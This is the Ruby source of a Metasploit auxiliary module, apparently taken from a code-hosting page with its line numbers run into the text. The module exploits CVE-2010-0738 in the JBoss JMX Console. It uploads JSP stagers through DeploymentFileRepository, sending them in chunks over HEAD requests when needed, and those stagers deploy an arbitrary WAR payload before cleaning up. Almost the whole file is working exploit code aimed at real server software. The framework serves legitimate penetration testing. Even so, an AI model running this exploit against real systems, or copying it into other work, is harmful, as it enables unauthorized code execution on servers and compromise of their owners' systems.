Path: blob/master/modules/auxiliary/admin/http/jboss_deploymentfilerepository.rb
19516 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::HTTP::JBoss78def initialize9super(10'Name' => 'JBoss JMX Console DeploymentFileRepository WAR Upload and Deployment',11'Description' => %q{12This module uses the DeploymentFileRepository class in the JBoss Application Server13to deploy a JSP file which then deploys an arbitrary WAR file.14},15'Author' => [16'us3r777 <us3r777[at]n0b0.so>'17],18'References' => [19[ 'CVE', '2010-0738' ], # using a VERB other than GET/POST20[ 'OSVDB', '64171' ],21[ 'URL', 'https://www.redteam-pentesting.de/en/publications/jboss/-bridging-the-gap-between-the-enterprise-and-you-or-whos-the-jboss-now' ],22[ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=574105' ]23],24'Actions' => [25['Deploy', { 'Description' => 'Create and deploy app (WAR) to deliver payload' }],26['Undeploy', { 'Description' => 'Remove app (WAR) for cleanup' }]27],28'DefaultAction' => 'Deploy',29'License' => BSD_LICENSE,30'Notes' => {31'Stability' => [CRASH_SAFE],32'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES, ARTIFACTS_ON_DISK],33'Reliability' => []34}35)3637register_options(38[39Opt::RPORT(8080),40OptString.new('APPBASE', [ true, 'Application base name', 'payload']),41OptPath.new('WARFILE', [ false, 'The WAR file to deploy'])42]43)44end4546def deploy_action(app_base, war_data)47stager_base = Rex::Text.rand_text_alpha(rand(8..15))48stager_jsp_name = Rex::Text.rand_text_alpha(rand(8..15))49encoded_payload = Rex::Text.encode_base64(war_data).gsub(/\n/, '')50stager_contents = stager_jsp_with_payload(app_base, encoded_payload)5152if http_verb == 'POST'53print_status('Deploying stager for the WAR file...')54res = upload_file(stager_base, stager_jsp_name, stager_contents)55else56print_status('Deploying minimal stager to upload the payload...')57head_stager_jsp_name = Rex::Text.rand_text_alpha(rand(8..15))58head_stager_contents = head_stager_jsp(stager_base, stager_jsp_name)59head_stager_uri = '/' + stager_base + '/' + head_stager_jsp_name + '.jsp'60res = upload_file(stager_base, head_stager_jsp_name, head_stager_contents)6162# We split the stager_jsp_code in multiple junks and transfer on the63# target with multiple requests64current_pos = 065while current_pos < stager_contents.length66next_pos = current_pos + 5000 + rand(100)67vars_get = { 'arg0' => stager_contents[current_pos, next_pos] }68print_status("Uploading second stager (#{current_pos}/#{stager_contents.length})")69res = deploy('uri' => head_stager_uri,70'vars_get' => vars_get)71current_pos += next_pos72end73end7475# Using HEAD may trigger a 500 Internal Server Error (at least on 4.2.3.GA),76# but the file still gets written.77unless res && (res.code == 200 || res.code == 500)78fail_with(Failure::Unknown, 'Failed to deploy')79end8081print_status('Calling stager to deploy the payload warfile (might take some time)')82stager_uri = '/' + stager_base + '/' + stager_jsp_name + '.jsp'83deploy('uri' => stager_uri,84'method' => 'GET')8586if res && res.code == 20087print_good('Payload deployed')88else89print_error('Failed to deploy final payload')90end9192# Cleaning stagers93print_status('Undeploying stagers via DeploymentFileRepository.remove()...')94print_status('This might take some time, be patient...') if http_verb == 'HEAD'95delete_res = []96if head_stager_jsp_name97delete_res << delete_file(stager_base + '.war', head_stager_jsp_name, '.jsp')98end99delete_res << delete_file(stager_base + '.war', stager_jsp_name, '.jsp')100delete_res << delete_file('./', stager_base + '.war', '')101delete_res.each do |r|102if !r103print_warning('Unable to remove WAR [No Response]')104elsif r.code < 200 || r.code >= 300105print_warning("WARNING: Unable to remove WAR [#{r.code} #{r.message}]")106end107end108end109110# Undeploy the WAR and the stager if needed111def undeploy_action(app_base)112print_status("Undeploying #{app_base} via DeploymentFileRepository.remove()...")113print_status('This might take some time, be patient...') if http_verb == 'HEAD'114res = delete_file('./', app_base + '.war', '')115116unless res117print_error('Unable to remove WAR (no response)')118return119end120121if res.code < 200 || res.code >= 300122print_error("Unable to remove WAR [#{res.code} #{res.message}]")123else124print_good('Successfully removed')125end126end127128def run129app_base = datastore['APPBASE']130131case action.name132when 'Deploy'133unless datastore['WARFILE'] && File.exist?(datastore['WARFILE'])134fail_with(Failure::BadConfig, 'Unable to open WARFILE')135end136war_data = File.read(datastore['WARFILE'], mode: 'rb')137deploy_action(app_base, war_data)138when 'Undeploy'139undeploy_action(app_base)140end141end142end143144145